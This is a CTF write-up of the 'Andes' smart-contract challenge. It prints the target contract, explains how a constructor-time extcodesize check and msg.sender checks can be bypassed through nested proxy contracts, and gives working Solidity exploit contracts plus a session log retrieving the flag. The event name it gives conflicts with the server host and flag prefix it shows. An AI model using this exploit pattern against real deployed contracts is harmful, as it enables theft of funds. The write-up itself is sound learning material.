# Andes

Andes is the second of the two Web3 challenges featured in the LakeCTF 2022.

At a first glance the contract may seem extremely lengthy and quirky

contract Andes {
// designators can designate an address to be the next random
// number selector
mapping (address => bool) designators;
mapping (address => uint) balances;
address selector;
uint8 private nextVal;
address[8][8] bids;
event Registered(address, uint);
event RoundFinished(address);
event GetFlag(bytes32);
constructor(){
designators[msg.sender] = true;
_resetBids();
}
function isDesignator(address _address) public view returns(bool){
return designators[_address];
}
modifier onlyDesignators() {
require(designators[msg.sender] == true, "Not owner");
_;
}
function register() public {
require(balances[msg.sender] < 10);
balances[msg.sender] = 50;
emit Registered(msg.sender, 50);
}
function setNextSelector(address _selector) public onlyDesignators {
require(_selector != msg.sender);
selector = _selector;
}
function setNextNumber(uint8 value) public {
require(selector == msg.sender);
nextVal = value;
}
function _resetBids() private {
for (uint i = 0; i < 8; i++) {
for (uint j = 0; j < 8; j++) {
bids[i][j] = address(0);
}
}
}
function purchaseBid(uint8 bid) public {
require(balances[msg.sender] > 10);
require(msg.sender != selector);
uint row = bid % 8;
uint col = bid / 8;
if (bids[row][col] == address(0)) {
balances[msg.sender] -= 10;
bids[row][col] = msg.sender;
}
}
function playRound() public onlyDesignators {
address winner = bids[nextVal % 8][nextVal / 8];
balances[winner] += 1000;
_resetBids();
emit RoundFinished(winner);
}
function getFlag(bytes32 token) public {
require(balances[msg.sender] >= 1000);
emit GetFlag(token);
}
function _canBeDesignator(address _addr) private view returns(bool) {
uint size = 0;
assembly {
size := extcodesize(_addr)
}
return size == 0 && tx.origin != msg.sender;
}
function designateOwner() public {
require(_canBeDesignator(msg.sender));
require(balances[msg.sender] > 0);
designators[msg.sender] = true;
}
function getBalance(address addr) public view returns(uint) {
return balances[addr];
}
}

However we can easily point out the nevralgic parts:

We have a GetFlag method that requires the caller to have 1000 coins in the balance mapping.

In order to increase our balance we should win a round

function playRound() public onlyDesignators {
address winner = bids[nextVal % 8][nextVal / 8];
balances[winner] += 1000;
_resetBids();
emit RoundFinished(winner);
}

In order to win the round we should put a bet on the correct nextVal, however this operation can only be performed by the selector, and the selector can only be picked by a designator

function setNextSelector(address _selector) public onlyDesignators {
require(_selector != msg.sender);
selector = _selector;
}
function setNextNumber(uint8 value) public {
require(selector == msg.sender);
nextVal = value;
}

So basically we will need to build a matrioska of Contracts in order to bypass the various checks:

extcodesize(_addr) == 0 should prevent non-human wallets, however also code in contracts contructor have the codesize set to zero.

Similarly, everytime we need to bypass a msg.sender we can create a child contract to use it as a proxy

contract ExploitGrandpa{
Andes targetContract;
constructor(address targetAddress) {
targetContract = Andes(targetAddress);
}
function setNextNumber() public{
targetContract.setNextNumber(1);
}
}
contract ExploitFather{
Andes public targetContract;
ExploitGrandpa grandpaContract;
constructor(address targetAddress) {
targetContract = Andes(targetAddress);
targetContract.register();
targetContract.designateOwner();
grandpaContract = new ExploitGrandpa(targetAddress);
targetContract.setNextSelector(address(grandpaContract));
grandpaContract.setNextNumber();
targetContract.purchaseBid(1);
targetContract.playRound();
}
function getAddress() public view returns(address){
return address(this);
}
function getFlag(bytes32 token) public {
targetContract.getFlag(token);
}
}
contract ExploitSon{
ExploitFather fatherContract;
Andes targetContract;
constructor(address targetAddress) {
targetContract = Andes(targetAddress);
fatherContract = new ExploitFather(targetAddress);
}
function getFatherExploitAddress() public view returns(address){
return fatherContract.getAddress();
}
function getFlag(bytes32 token) public {
fatherContract.getFlag(token);
}
}
$ Connection to nile.chall.pwnoh.io port 13378 [tcp/*] succeeded!
> Hello! The contract is running at 0xdCAeeeB6b02A2E5FbAe956200f1b88784bE25500 on the Goerli Testnet.
> Here is your token id: 0xf3f5a1a3bfe698a0de59eab124cfa2fb
> Are you ready to receive your flag? (y/n)
$ y
> Here is the flag: buckeye{n3v3r_g4mbl1ng_4g41n}
Next: Nile

LakeCTF 2022 Series

Comments
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.